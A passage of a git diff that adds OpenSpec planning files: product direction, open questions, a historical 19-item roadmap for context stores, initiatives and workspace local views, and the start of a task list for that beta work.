+Changes implement repo-owned slices. +``` + +## Historical Locked Product Boundary + +The workspace-to-initiative pivot was the product boundary for this beta +coordination work: + +- A workspace is a regenerable, machine-local working view. It maps context + stores, initiatives, projects, repos, and folders to paths the current user can + open. +- A context store is the durable synced container for shared files. +- An initiative is the durable coordination object for cross-team or cross-repo + implementation context. +- A repo-local change remains the implementation plan owned by the repo or team + doing the work. + +This supersedes the older model where a workspace-level `changes/` tree owned +the canonical shared plan for cross-repo work. Existing workspace-planning +behavior can remain as beta or legacy infrastructure, but it should not steer +new lifecycle design. + +Workspace roadmap disposition: + +- Keep setup, link, relink, list, open, update, and doctor. +- Keep linked repos and folders visible for exploration before a change exists. +- Keep workspace-local agent guidance as local view setup, refreshed by + `workspace update`. +- Defer workspace apply, verify, and archive until initiatives can link to + repo-owned OpenSpec changes. +- Defer branch/worktree orchestration, multi-repo apply, strong cross-repo + validation, and dependency graph enforcement. + +## Agent-First UX + +The primary user experience for initiatives is expected to be agent-driven: + +```text +Using initiative billing-launch, explore the API work and create a proposal. +``` + +The user should not need to know every command. OpenSpec should expose small, +structured CLI primitives that an agent can use to: + +- find the intended initiative across registered context stores +- read canonical initiative files from the context store +- create or link a repo-local OpenSpec change +- use workspace state for local repo and folder views +- respect edit boundaries instead of treating every opened folder as editable + +The CLI is therefore the agent's tool surface, not the whole user workflow. +Prefer explicit, machine-readable commands such as `initiative show --json`, +`new change --initiative ...`, and workspace local-view commands over broad +interactive flows as the first slice. + +Canonical initiative context should stay in the context store. Repo-local +changes should reference the initiative rather than checking in copied snapshots +of initiative prose. If an agent needs a compact context pack, OpenSpec can +generate that as command output from the live initiative context. + +## Context Store + +A context store is the shared/synced folder of files. It is content-agnostic. +It should not know what an initiative is. + +Example: + +```text +acme-context/ + initiatives/ + decisions/ + api-catalog/ + playbooks/ +``` + +The first backend should be Git: + +```text +create/update/delete files + -> commit + -> push + -> other users pull + -> local views update +``` + +But the application should talk to a store abstraction, not directly to Git, so +the backend can later become a cloud database. + +## Backend + +A backend provides persistence and sync for a context store. + +Examples: + +- `git` backend: local clone, pull, commit, push, watch +- `cloud` backend: database records, subscriptions, hosted sync +- `memory` backend: tests and local prototypes + +The backend should expose generic file/object operations: + +```text +read +write +delete +list +sync +watch +``` + +It should not contain initiative-specific behavior. + +## Collections + +A collection is a mounted content system inside a context store. It is +plugin-like, but "collection" is the user-facing term. + +Each collection owns: + +- a folder namespace +- a content model +- templates +- validation/rules +- optional agent guidance +- optional UI views + +Example: + +```text +context-store/ + initiatives/ # Initiative collection + decisions/ # Decision collection + api-catalog/ # API catalog collection +``` + +Core should enforce that a collection only writes inside its mount. + +## Initiative Collection + +The initiative collection is the first enterprise-oriented collection. + +An initiative is shared, agent-consumable implementation context for a +coordinated outcome. It can span teams, repos, services, APIs, contracts, and +capabilities. + +Default shape: + +```text +initiatives/ + launch-billing-flow/ + initiative.yaml + requirements.md + design.md + contracts/ + decisions.md + questions.md + tasks.md +``` + +This describes the runtime initiative collection shape in context stores. This +roadmap folder may still contain legacy `.initiative.yaml` progress metadata +while the initiative itself is being used to manage the migration; that legacy +tracker is not the model new context-store initiatives should copy. + +The default structure should be opinionated for the enterprise design +partnership, but the collection system should allow other structures later. + +## Initiative Responsibilities + +Initiatives should own implementation-relevant shared context: + +- product/program intent +- accepted requirements +- high-level technical coordination +- capability and ownership maps +- API/event/schema contracts +- dependency assumptions +- decisions and open questions +- workspace-readable context for repo-local implementation work + +Initiatives should not try to become all of Jira or Confluence. The focused +positioning is: + +```text +OpenSpec stores agreed implementation context. +Jira tracks work. +Confluence stores broad prose. +GitHub/GitLab store code. +``` + +## Initiative And Change Scope + +An initiative can span one or many OpenSpec changes. + +Those changes may live: + +- in the same repo as the initiative +- in different repos +- in multiple context stores or OpenSpec roots later + +The initiative stores shared coordination context. Workspace views can associate +that context with local repos and repo-owned changes without making the +initiative store machine-local checkout links. + +This keeps grouping separate from storage: + +```text +Initiative = shared grouping/context +Change = execution artifact +Workspace = local opened view of initiative + repos +``` + +## Workspace + +A workspace is a local working view, not the source of truth. + +It can map context stores and project identifiers to local paths, configure an +opener, and launch coding agents with the right folders visible. + +A workspace can open an initiative by resolving: + +- the initiative's context store +- locally selected repo-local changes +- local checkout paths for participating repos + +The durable workspace record should stay tiny and private. It records this +runtime's local view choices, not generated agent files or shared initiative +content. + +```text +getGlobalDataDir()/workspaces// + workspace.yaml +``` + +The workspace name is the local identity. The workspace record can optionally +store a selected context store and initiative, plus stable link names to local +paths and opener preferences. Initiative references are data inside the record, +not path segments. + +Opening a workspace materializes opener-specific runtime files at the managed +workspace root. Those files can contain generated agent guidance, skills, +and editor workspace files. Machine-readable context is returned by JSON command +output. These are regenerated local support, not source of truth. + +```text +private local view record + -> generated runtime files + -> opener-specific launch + -> initiative context + selected local repos/folders +``` + +Workspaces should be regenerable and runtime-specific. They should not be the +canonical home for initiative content, checked-in collaboration state, branches, +worktrees, clones, or implementation progress. + +## Repo Changes + +Repo-local changes remain the team-owned implementation plan. + +An engineering team should be able to pull relevant initiative context into a +repo and create a linked OpenSpec change. + +Example: + +```text +repo/ + openspec/ + changes/ + add-billing-api/ + .openspec.yaml + proposal.md + design.md + specs/ + tasks.md +``` + +The local change should reference the initiative in metadata, for example: + +```yaml +initiative: + store: platform + id: billing-launch +``` + +This metadata is durable repo context and should be checked in. It should not +contain machine-local paths. Agents should read the initiative's canonical files +from the registered context store when they need the shared context. + +## Relationship Between Concepts + +```text +Context Store + contains Collections + +Collection + defines structure/rules for a mounted folder + +Initiative Collection + defines initiatives/ + +Initiative + coordinates one shared outcome + +Workspace + opens local views of context stores and repos + +Repo Change + implements one team's/repo's part of an initiative +``` + +End-to-end flow: + +```text +Product/program/architect creates initiative + -> initiative syncs through context store + -> engineers open local workspace + -> repo team pulls relevant initiative context + -> repo team creates linked OpenSpec change + -> repo team implements locally + -> workspace view surfaces local progress alongside initiative context +``` + +## Local API Direction + +The app should use dependency injection: + +```ts +const store = createStore({ + id: "acme-context", + backend: gitBackend({ + remote: "git@github.com:acme/context.git", + localPath: "~/.openspec/stores/acme-context", + autoSync: true, + }), + collections: [ + initiativeCollection({ mount: "initiatives" }), + ], +}); +``` + +Usage: + +```ts +const initiatives = store.collection("initiatives"); + +await initiatives.create({ id: "launch-billing-flow" }); +await initiatives.update("launch-billing-flow", patch); +await store.sync(); +``` + +Important separation: + +```text +Git backend knows Git. +Store knows sync/lifecycle/events. +Collection knows content structure. +Initiative collection knows initiatives. +``` + +## UI Direction + +The UI should be content-agnostic at the core: + +- browse folders/files +- edit Markdown/YAML +- preview content +- search +- show diffs/history +- sync status + +Collections can add richer views: + +- initiative status view +- contract table +- owner/dependency graph +- linked repo-change view + +The UI should work no matter which collections are mounted. + +## Open Questions + +- What is the first concrete context store command surface? +- Should stores be called `context`, `store`, or something more product-facing? +- Where should enterprise context stores live by default: customer GitHub, + OpenSpec-managed Git, or later hosted cloud? +- How do non-technical users edit Git-backed content without feeling Git? +- What is the minimum viable auto-sync behavior before conflict handling gets + painful? +- How does an initiative contract graduate into a canonical owner repo contract? +- How should linked repo changes report status back into an initiative without + becoming Jira? +- How should monorepos map capabilities, folders, and repo-local changes? +- What should the first repo-change linking command be called? +- Which initiative progress/status signals are useful after linked changes + exist? + +## Suggested Next Direction + +After the initial store, collection, and initiative create/list foundations, +build the next slices in this order: + +1. Reconcile the Initiative MVP around create/list, validation, templates, and + explicit deferral of read/update/delete policy. +2. Add minimal context-store UX for setup, registration, listing, and doctoring. +3. Add agent-first initiative discovery with `initiative show --json` and + registered-store lookup. +4. Add repo-local change metadata and an agent-friendly create/link flow for + `--initiative`. +5. Reject standalone `initiative resolve`; local path mapping belongs to + workspaces, not initiative commands. +6. Let workspaces open initiative-aware local views once show/link semantics + exist. +7. Add local-to-initiative escalation UX. +8. Harden team-shared coordination, sync, conflict guidance, and progress + status after real usage shapes those needs. diff --git a/openspec/initiatives/context-store-and-initiatives/questions.md b/openspec/initiatives/context-store-and-initiatives/questions.md new file mode 100644 index 0000000000..79c42ebc8b --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/questions.md @@ -0,0 +1,23 @@ +# Context Store And Initiatives Questions + +## Open + +- Should the user-facing command vocabulary say `context`, `store`, or + something more product-facing? +- What migration or compatibility path should existing workspace-planning + changes get once initiatives exist? +- How should linked repo changes report progress back into an initiative without + becoming a Jira clone? +- How should monorepos map capabilities, folders, and repo-local changes? +- Should OpenSpec support configurable change homes across context stores and + local OpenSpec repos, and what ownership rules keep that model safe? + +## Resolved + +- Workspaces should not be the durable shared planning object. +- Initiative roadmap implementation should be tracked inside the initiative + until repo-owned implementation changes are needed. +- The first concrete context store command surface is `context-store setup`, + `context-store register`, `context-store list`/`ls`, and + `context-store doctor`. Sync, push/pull, remotes, and conflict handling are + future work. diff --git a/openspec/initiatives/context-store-and-initiatives/roadmap.md b/openspec/initiatives/context-store-and-initiatives/roadmap.md new file mode 100644 index 0000000000..1f8d345ce7 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/roadmap.md @@ -0,0 +1,775 @@ +# Context Store And Initiatives Roadmap + +Status: historical beta roadmap snapshot. + +This roadmap preserves the implementation queue that existed while the +context-store and workspace model was being explored. It is not the active +roadmap for current simplification work. + +For current direction, start with: + +1. `openspec/work/simplify-context-and-workspace-model/goal.md` +2. `openspec/work/simplify-context-and-workspace-model/roadmap.md` + +The historical product decision underneath this roadmap was: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Historical Beta Priority Snapshot + +At the time, the manual beta pass pulled first-run friction forward. This was +the historical working order before investing in deeper schema or lifecycle +machinery: + +1. Finish the manual beta reality pass enough to keep the next slices grounded. +2. Item 12, context-store first-run and cleanup UX: interactive no-argument setup, + target-path safety, and a supported unregister/remove path. +3. Skip Item 13 as an implementation item for now. Preserve the handoff + findings, but avoid hardcoding linear "next step" guidance until the agent + handoff model is clearer. +4. Item 14, workspaces beta guide split: make user docs match the interactive + setup path and keep exact flags in the agent playbook. +5. Item 15, context store project roots and schema-led initiatives: sparse initiative + creation and store-local schemas. + +Escalation UX, team-sharing hardening, and initiative-hosted target-bound +changes remain important, but they should wait until the first-run path feels +boring in the good way. + +Before workspaces become public/stable, run Item 19 as a late beta cleanup pass +so beta compatibility code is reviewed intentionally instead of treated as a +permanent contract. + +## 1. Lock The Direction + +Goal: make the workspace-to-initiative pivot explicit so future workspace work +does not keep implementing the older "workspace owns the plan" model. + +Ship: + +- Record that workspaces are local working views, not durable shared planning + objects. +- Record that initiatives are the durable coordination object for cross-team or + cross-repo work. +- Mark the current workspace apply, verify, and archive direction as deferred or + superseded until initiative-linked repo changes exist. +- Keep the already-built workspace setup, link, open, update, and doctor + behavior as useful beta infrastructure. + +Done when: + +- Fresh agents can tell which workspace ideas still apply and which ones should + not steer implementation. + +Locked disposition: + +- Keep workspace setup, link, relink, list, open, update, and doctor as beta + local-view infrastructure. +- Keep "workspace visibility is not change commitment" as a safety rule for + linked repos and folders. +- Supersede "workspace is the durable planning home" with "initiatives are the + durable coordination object." +- Supersede workspace-level planning artifacts as the canonical shared + cross-repo plan. +- Defer workspace apply, verify, and archive as first-class lifecycle commands + until initiative-linked repo-local changes exist. +- Defer branch/worktree orchestration, strong cross-repo validation, dependency + graph enforcement, and shared contract governance. + +Fresh-agent historical reading rule: + +- Start from `openspec/work/simplify-context-and-workspace-model/goal.md` and + `openspec/work/simplify-context-and-workspace-model/roadmap.md` for current + product authority. +- Use `openspec/initiatives/context-store-and-initiatives/direction.md` as + historical beta direction, not as the current product authority. +- Treat `openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` and + `openspec/changes/workspace-reimplementation-roadmap/` as historical reference + material for preserved local-view behavior and POC lessons. +- Do not pick up `workspace-apply-repo-slice` or + `workspace-verify-and-archive` as the next implementation slice unless a later + initiative-linked repo-change design explicitly reactivates them. + +## 2. Stabilize Workspace As Local View + +Goal: keep workspaces useful without making them the source of truth. + +Ship: + +- Workspace guidance that routes durable coordination to initiatives, + implementation planning to repo-local changes, and linked repos or folders to + local context until an edit root is selected. +- Workspace-open behavior that launches the local planning view with linked + folders visible. +- Workspace doctor/status output that explains local path mappings, unresolved + links, installed agent skills, and repair steps. +- Clear docs that `workspace update` refreshes local agent guidance and does not + modify linked repos. + +Done when: + +- A user can set up a workspace, link repos, open an agent, and understand that + the workspace is a local view over context, not the canonical shared plan. + +## 3. Add Context Store Foundation + +Goal: create the generic local context-store foundation that can later hold +initiatives and other shared context collections. Sync/watch behavior remains a +future hardening slice. + +Ship: + +- A context store abstraction with generic local operations: read, write, + delete, and list. +- A first Git-shaped backend model that can point at a local store root. +- A test/memory backend for fast tests and prototypes. +- A store configuration model that does not contain initiative-specific logic. + +Done when: + +- OpenSpec can create and manipulate files inside a local context store without + the core store layer knowing what those files mean. Pull, push, watch, + remote creation, and conflict handling are tracked as future sync work. + +## 4. Add Collection Foundation + +Goal: let product-specific content systems live inside a context store without +hardcoding every future concept into the store layer. + +Ship: + +- A collection interface with a mounted folder namespace. +- Rules that keep a collection's writes inside its mount. +- Basic collection validation and template hooks. +- A way for collections to expose optional agent guidance or UI metadata later. + +Done when: + +- The context store can host a mounted `initiatives/` collection while staying + generic enough for future collections like decisions, API catalogs, or + playbooks. + +## 5. Ship Initiative MVP + +Goal: give coordinated work a durable, shared, agent-consumable home. + +Ship: + +- Initiative creation and listing. +- A default initiative file shape: + +```text +initiatives// + initiative.yaml + requirements.md + design.md + decisions.md + questions.md + tasks.md +``` + +- Templates for product intent, accepted requirements, design decisions, open + questions, and coordination tasks. +- Validation for required initiative metadata. +- Explicit deferral of full read/show, update, and delete policy until the + agent-first discovery and lifecycle needs are clearer. + +Done when: + +- A user or agent can create and list initiatives as shared planning objects + before any repo has committed to implementation details. + +## 6. Add Minimal Context Store UX + +Goal: make shared initiative storage usable before repo handoff or workspace +opening depends on it. + +Ship: + +- `context-store setup ` for creating a local Git-backed store folder with + portable store metadata and local registration. +- `context-store register ` for registering an existing clone or folder, + defaulting the store id from the repo or folder name. +- `context-store list` and `context-store doctor` for local visibility and + non-mutating diagnostics. +- `initiative list` defaulting to all registered stores, with `--store` as a + filter and `--store-path` as an escape hatch. +- Minimal human output and JSON output suitable for agents. + +Done when: + +- A single developer or teammate can create or register a shared context store, + list initiatives across registered stores, and diagnose missing or broken + local store setup without learning the internal registry layout. + +## 7. Add Agent-First Initiative Discovery + +Goal: let an agent resolve the initiative the user named and read canonical +initiative context from the source of truth. + +Ship: + +- `initiative show ` that searches registered stores by default. +- Ambiguity handling when the same initiative id exists in multiple stores. +- JSON output with canonical initiative metadata, store identity, initiative + root path, and metadata path. +- Human output focused on identity and available files, not work progress. + +Done when: + +- An agent can answer, "Which initiative did the user mean, where is the + canonical context, and where is the initiative metadata?" + +## 8. Connect Repo-Local Changes To Initiatives + +Goal: split shared coordination from repo-owned implementation plans cleanly. + +Discussion points to confirm before implementation: + +- Should the create/link flow explicitly report where the change lives, which + initiative it references, and the next suggested command? +- Should `--initiative ` search registered stores by default, or should it + require `--store` when more than one store is registered? +- What should the command do when the initiative exists but the current repo has + no obvious ownership match? + +Ship: + +- Repo-local change metadata that can reference an initiative by store id and + initiative id. +- An agent-friendly create or link flow such as + `new change --initiative /`. +- Guidance that repo-local changes remain responsible for implementation, + validation, and archive. +- No checked-in `initiative.md` snapshot by default; agents read canonical + initiative files live from the context store. + +Done when: + +- One initiative can coordinate several repo-local changes without copying the + shared plan into every repo, storing machine-local links in the initiative, or + making the initiative own implementation artifacts. + +## 9. Reject Initiative Resolve + +Decision: do not add `openspec initiative resolve`, now or later. + +Rationale: + +- `initiative show` already resolves canonical shared initiative context. +- A workspace is the local view over repos, folders, context stores, and + initiatives. +- Repo-local changes already carry durable initiative links in checked-in + `.openspec.yaml` metadata. +- Repo-local status already reports work progress. +- A standalone resolve command would either duplicate workspace local-view state + or produce weak output when no workspace is present. + +Do not ship: + +- `openspec initiative resolve ` +- all-workspace or all-repo scans for initiative availability +- explicit path scanning as an initiative command +- Git remote matching for initiative participation +- repo ownership inference +- cloning, branch creation, or worktree creation as part of initiative + resolution +- initiative backlinks +- local availability or progress dashboards under the initiative command + +Done when: + +- Future agents can see that "initiative resolve" is intentionally rejected and + should not be revived under another command name. + +## Proposed Discussion Point: Add Initiative Next / Agent Handoff UX + +Status: candidate work item, not locked into the numbered roadmap yet. + +Question to confirm: + +- Should this become a roadmap item before "Let Workspaces Open Initiatives"? + +Goal: give agents and users a small "what now?" command after initiative +discovery from the current repo or workspace, without turning it into a +dashboard or progress/status surface. + +Possible shape: + +```bash +openspec initiative next billing-launch --json +``` + +Possible JSON answer: + +```json +{ + "initiative": "billing-launch", + "next_action": "create_repo_change", + "reason": "initiative found, no linked local change exists for this repo", + "suggested_command": "openspec new change add-billing-api --initiative billing-launch" +} +``` + +Discussion points to confirm before implementation: + +- Is `initiative next` the right command name, or should this guidance belong + inside workspace initiative opening or repo-local status? +- Should it return exactly one suggested next action, or a ranked set of options? +- Should it ever inspect work progress, or stay limited to handoff/readiness? +- How should it behave when no stores are registered, the initiative is + ambiguous, or the local repo is unrelated? + +Done when, if accepted: + +- An agent can answer "what should I do next for this initiative from here?" + without guessing across `show`, workspace state, and repo-local + change metadata. + +## 10. Let Workspaces Open Initiatives + +Goal: connect durable initiative context to this runtime's local working view +after initiative show and repo-change linkage exist. + +Locked direction: + +- A workspace does not contain the work. It remembers how this runtime opens the + work. +- Persist only tiny private local view choices. +- Generate opener-specific runtime files on open. +- Attach initiative context and selected existing local repos or folders. +- Do not clone, branch, create worktrees, use submodules, or infer local repos in + this slice. +- Context-only open is valid. + +Product decision status: + +- No remaining Item 10 product decisions are open. Implementation may still + uncover mechanical details, but the intended UX shape is locked. + +Command UX decision: + +- Use `openspec workspace open --initiative `. +- Support `/` and ` --store `. +- Support `openspec workspace open --initiative ` + when the user wants to choose the local workspace identity explicitly. +- If only `` is provided, proceed when exactly one registered + context store has that initiative id. +- On ambiguity, list exact matches and require an explicit store selector. +- On no exact match, show likely matches when available and suggest `openspec + initiative list`; do not silently open a fuzzy match. +- If the user omits a workspace name, derive a friendly default from the + initiative id when that is unambiguous; otherwise require the user to pick an + explicit workspace name. + +Open target decision: + +- Open the initiative directory by default, not the whole context store. +- Generated guidance and JSON output should still report the context store root + and that broader context is available. +- A later explicit option may open the whole context store, but broad store + scope is not the Item 10 default. + +Local view record decision: + +- Use one private local view record for initiative-aware local views. +- Store initiative-view state in the root `workspace.yaml` file. +- The record stores selected context-store binding, initiative, local links, + opener, and selected tools. The binding may preserve a registry selector or a + runtime-local path selector. +- The context binding is optional, so a workspace can also be a custom local view + with linked folders and no initiative. + +Workspace storage decision: + +- Store each private workspace view under + `getGlobalDataDir()/workspaces//`. +- The workspace name is the local identity. Selected store and initiative, if + any, are data inside the private record rather than path segments. +- Use one durable `workspace.yaml` at the workspace root. +- Generate `AGENTS.md`, opener workspace files, and tool-specific skills at the + workspace root. +- Do not introduce a separate generated-output directory for Item 10. + +Runtime identity decision: + +- Use `getGlobalDataDir()` as the cross-platform runtime-local boundary. +- Local paths are valid only in the runtime that wrote the private + `workspace.yaml`. +- Do not add path translation or a separate `` path segment in Item + 10. + +Prepare/JSON decision: + +- Keep `workspace open --json` as a machine-facing receipt for the same open + operation. +- Do not add `--prepare-only` for Item 10. +- JSON should return useful generated paths, selected context, opened roots, + skipped roots, opener, launch status, and warnings rather than a bare success + response. + +Codex Desktop decision: + +- Open the generated workspace root as the Codex Desktop project. +- Expose attached initiative and linked repo/folder paths through generated + guidance and `workspace open --json` output. +- Defer Desktop multi-root automation until there is a clearer Desktop contract. + +Edit-boundary decision: + +- Emit advisory boundaries only. +- Label initiative/context-store files as shared coordination context and linked + repos/folders as local implementation context when selected. +- Do not enforce write restrictions in Item 10. + +Ship: + +- Private local view state that can remember the selected context store, + selected initiative, selected local links, opener, and selected tools for this + runtime. +- `workspace open` support for generating opener-specific runtime files and + opening initiative context plus locally resolved linked repos/folders. +- Agent guidance and machine-readable `workspace open --json` output that + explain the current initiative, opened roots, skipped roots, local paths, and + advisory edit boundaries. +- Workspace-name reuse behavior that avoids silently repointing an existing + workspace to a different initiative. +- Open-time warnings that skip missing linked repos/folders while failing when + the selected initiative or context store cannot be resolved. +- Continued support for custom non-initiative workspaces as first-class local + views. +- Doctor guidance for missing context stores, missing linked repos/folders, and + stale local view records. + +Done when: + +- A teammate can open the same initiative in their runtime while using their own + local paths and selected repo subset. +- Generated runtime files are clearly derived and can be regenerated without + losing the user's local view choices. + +## 11. Manual Beta Reality Pass + +Status: proposed immediate beta-learning item. + +Goal: manually run what exists and use the friction to update initiative notes +before designing more surface area. + +Ship: + +- A fresh-user walkthrough of context-store setup, initiative creation, + workspace opening, repo linking, doctor output, and repo-local linked change + creation. +- Notes on what felt clear, what felt odd, where prompts were missing, and where + docs pushed too many flags onto the user. +- A short disposition that separates docs-only fixes from follow-on + implementation slices. + +Done when: + +- The initiative contains concrete notes from trying the current beta flow by + hand. +- The next implementation or docs slice is grounded in observed friction rather + than guessed workflow shape. + +## 12. Context Store First-Run And Cleanup UX + +Goal: make context-store setup and cleanup feel like a normal local workflow, +without adding sync, remote, or governance automation. + +Work item: +`work-items/12-context-store-first-run-and-cleanup-ux/` + +Ship: + +- Interactive no-argument `context-store setup` for terminal users. +- Deterministic non-interactive and JSON behavior when required setup choices + are missing. +- Target-path safety output for managed defaults, explicit paths, existing Git + repos, and non-empty directories. +- A supported local cleanup path for unregistering or removing a context store + without hand-editing the registry. +- Setup output that explains local registry state and Git state, including + uncommitted shared-store files after `--init-git`. + +Done when: + +- A fresh user can set up or clean up a local context store without knowing + hidden registry paths, environment variables, or manual file edits. + +## 13. Agent Handoff Output And Delivery Polish + +Status: deferred as an implementation item. + +Goal, if revisited: define an agent handoff receipt model that reports what +exists, where it lives, and which affordances are available without prescribing +one linear next step. + +Work item: +`work-items/13-agent-handoff-output-and-delivery-polish/` + +Ship: + +Do not ship fixed "Next for your agent" guidance yet. The current shape assumes +that users and agents move through the beta flow linearly, but real agentic +workflows may inspect, branch, skip steps, or start from existing context. + +Preserve for future exploration: + +- Whether command output should include context receipts, available affordances, + or nothing beyond deterministic paths. +- Whether direct path fields like `created_paths` are a small standalone receipt + improvement rather than part of a broader handoff model. +- How delivery wording should distinguish baseline OpenSpec guidance from + workflow entrypoints without coupling it to this handoff item. + +## 14. Workspaces Beta Guide Split + +Status: proposed immediate beta-learning item. + +Goal: make the beta docs reflect the intended division of labor: + +```text +Users make local choices. +Agents run OpenSpec work commands. +``` + +Ship: + +- A user-facing guide that prefers interactive terminal setup for local choices + such as context-store location, opener, and local repo paths. +- An agent-facing CLI playbook that keeps explicit commands, JSON output, + current-directory rules, and caveats. +- A clear rule for which flags are normal user-facing escape hatches and which + are mostly agent-facing precision. + +Done when: + +- A new user can get to a working beta setup without reading a flag-heavy CLI + tutorial. +- A coding agent can still find the exact commands needed to create initiatives, + link repo-local changes, and inspect state safely. + +## 15. Context Store Project Roots And Schema-Led Initiatives + +Goal: let context stores behave like OpenSpec roots for shared planning config +and schemas, while keeping implementation changes repo-owned by default. + +Work item: +`work-items/15-context-store-project-roots-and-schema-led-initiatives/` + +Product decision to confirm: + +- A context store can have `openspec/config.yaml` and `openspec/schemas/` like a + repo after `openspec init`. +- That project-like shape is for shared context configuration and initiative + schemas. It must not silently make the context store an implementation repo. +- `initiative create` should create a sparse shell and let reviewed initiative + artifacts grow through schema-led status/instructions. + +Ship: + +- Context-store setup that creates or supports store-local OpenSpec config. +- A default initiative schema for high-level requirements and design artifacts. +- Sparse initiative creation: `initiative.yaml` plus a short `brief.md`, with no + `TBD` placeholders and no default `tasks.md`. +- Initiative artifact status and instructions output rooted in the initiative + directory. +- Guardrails so `openspec new change` does not accidentally create executable + repo-local changes inside a context store just because the store has an + `openspec/` directory. +- Compatibility for existing six-file MVP initiatives. + +Done when: + +- A context store can resolve store-local initiative schemas. +- Agents can iteratively create initiative requirements and design artifacts + from CLI instructions. +- Existing MVP initiatives continue to list and show. +- Docs stop presenting initiative creation as "fill every markdown file now." + +## 16. Add Escalation UX + +Goal: let users start locally and upgrade only when coordination is actually +needed. + +Work item: +`work-items/16-add-escalation-ux/` + +Ship: + +- Explore/propose guidance that starts in the current repo by default. +- A recommendation path when work spans multiple owned areas: + +```text +This appears to span multiple owned areas. +OpenSpec can upgrade it into a coordinated initiative and carry the current +planning context forward. +``` + +- Carry-forward behavior for the current change name, product goal, notes, + inferred areas, and relevant questions. +- Clear prompts that ask about concrete affected areas rather than abstract + storage models. + +Done when: + +- Coordinated planning feels like a continuation of local planning, not a + workflow restart. + +## 17. Harden Team-Shared Coordination + +Goal: make initiatives practical for teams without turning setup into an admin +ceremony. + +Work item: +`work-items/17-harden-team-shared-coordination/` + +Ship: + +- A recommended Git-backed shared context store pattern. +- Lightweight teammate onboarding: + +```text +Clone the context store. +Run openspec workspace doctor. +Open the initiative with your agent. +``` + +- Repair flows for local path mappings. +- Sync status and conflict guidance. +- Clear separation between committed initiative state and machine-local + workspace state. + +Done when: + +- Several teammates can share the same initiative while each keeps their own + local checkout layout. + +## 18. Explore Initiative-Hosted Target-Bound Change Artifacts + +Goal: decide whether shared initiative artifacts can graduate into executable +OpenSpec changes only after they are bound to a target repo or spec root, +without blurring initiative coordination, repo ownership, and workspace +local-view boundaries. + +Work item: +`work-items/18-explore-initiative-hosted-target-bound-change-artifacts/` + +Discussion points to confirm before exploration: + +- Should "change home" stay internal resolver language, with user-facing + phrasing like "where should this plan live?" and "editable target"? +- What is the difference between initiative work items, briefs, target-bound + changes, and repo-local changes? +- What portable target metadata is required before an initiative-hosted artifact + can be considered implementation-ready? +- Should shared target-bound changes require explicit opt-in, or can + initiative/store policy select them? +- What user/team scenario would justify an initiative-hosted target-bound change + instead of a repo-local linked change? + +Ship: + +- Audit commands, templates, validation, archive, apply, completion, and docs + for repo-local `openspec/changes/` assumptions. +- Define the concepts of artifact home, implementation target, allowed edit + roots, and action context. +- Decide how initiative-hosted target-bound changes bind to repo specs, + implementation roots, branches, validation, archive, and sync/conflict + behavior. +- Define agent-readable JSON output for work target, artifact home, + implementation target, initiative link, edit boundaries, unsupported + lifecycle commands, and next commands. +- Record compatibility behavior for existing repo-local and workspace-local + changes. +- Recommend whether this should become an implementation slice, remain deferred, + start as initiative work items only, or be limited to specific schemas or + workflows first. + +Done when: + +- The initiative has a concrete recommendation, opt-in/config examples, affected + command list, and go/no-go criteria for implementation. + +## 19. Review Workspace Beta Compatibility Before Public Release + +Goal: decide which workspace beta compatibility behavior should survive into the +public workspace contract, and remove or migrate the rest while workspaces are +still unpublished. + +Work item: +`work-items/19-review-workspace-beta-compatibility-before-public-release/` + +Why this is late: + +- Workspaces are still beta and not public/stable yet. +- We do not need to preserve every intermediate beta file shape forever. +- Early cleanup risks churn while first-run UX and initiative behavior are still + changing. +- The right compatibility contract is easier to define after manual beta usage + shows which local workspace artifacts real users have actually created. + +Ship: + +- Inventory workspace compatibility code, including legacy split state readers, + registry fallbacks, `codex` to `codex-cli` aliases, generated `.gitignore` + cleanup, and empty compatibility shims. +- Classify each path as public contract, beta migration, test-only shim, or + removable dead weight. +- Remove beta-only shims that only support unpublished intermediate workspace + shapes. +- Define any migration behavior worth keeping for people who tried the beta. +- Update docs, tests, generated guidance, and release notes so the public + workspace compatibility promise is explicit. + +Done when: + +- The workspace compatibility surface is intentionally small. +- Public docs do not imply support for beta-only workspace internals. +- Any remaining migration code has a clear owner, reason, and removal policy. + +## Later, Not First + +These are important, but should wait until the initiative model has real usage: + +- Workspace apply, verify, and archive as first-class lifecycle commands. +- Branch or worktree orchestration. +- Strong cross-repo validation. +- Dependency graph enforcement. +- Shared contract ownership workflows. +- Sponsor/driver governance flows. +- Initiative progress/status dashboards. +- Cloud-hosted context stores. + +## Suggested Shipping Sequence + +1. Lock the direction and defer old workspace lifecycle slices. +2. Stabilize workspace as local view and agent launcher. +3. Add context store foundation. +4. Add collection foundation. +5. Ship initiative MVP. +6. Add minimal context-store UX. +7. Add agent-first initiative discovery. +8. Link repo-local changes to initiatives. +9. Keep initiative resolve rejected; use workspace local-view mapping instead. +10. Let workspaces open initiatives. +11. Manual beta reality pass. +12. Context store first-run and cleanup UX. +13. Skip agent handoff output and delivery polish until the handoff model is + clearer. +14. Workspaces beta guide split. +15. Context store project roots and schema-led initiatives. +16. Add local-to-initiative escalation UX. +17. Harden team-shared coordination. +18. Explore initiative-hosted target-bound change artifacts. +19. Review workspace beta compatibility before public release. + +Pending discussion: revisit handoff receipts after the beta guide and sparse +initiative model clarify what context agents actually need. diff --git a/openspec/initiatives/context-store-and-initiatives/tasks.md b/openspec/initiatives/context-store-and-initiatives/tasks.md new file mode 100644 index 0000000000..1acbd6f60f --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/tasks.md @@ -0,0 +1,321 @@ +# Context Store And Initiatives Tasks + +Status: historical beta progress snapshot. + +This file preserves the task state from the old context-store and workspace +initiative. It is not the active implementation queue for current +simplification work. + +For current direction, start with: + +1. `openspec/work/simplify-context-and-workspace-model/goal.md` +2. `openspec/work/simplify-context-and-workspace-model/roadmap.md` + +Historical roadmap items live in `roadmap.md`; detailed working notes live +under `work-items/`. + +## Historical Beta Priority Snapshot + +At the time, the manual beta pass prioritized the things a fresh user hit while +getting started before deeper model work: + +1. Finish Item 11 observations enough to keep implementation grounded. +2. Item 12: no-argument context-store setup, path safety, and + cleanup. +3. Skip Item 13 as an implementation item for now. Preserve the findings, but + do not hardcode linear "next step" guidance until the agent handoff shape is + better understood. +4. Item 14: update the beta guide so it matches the improved first-run 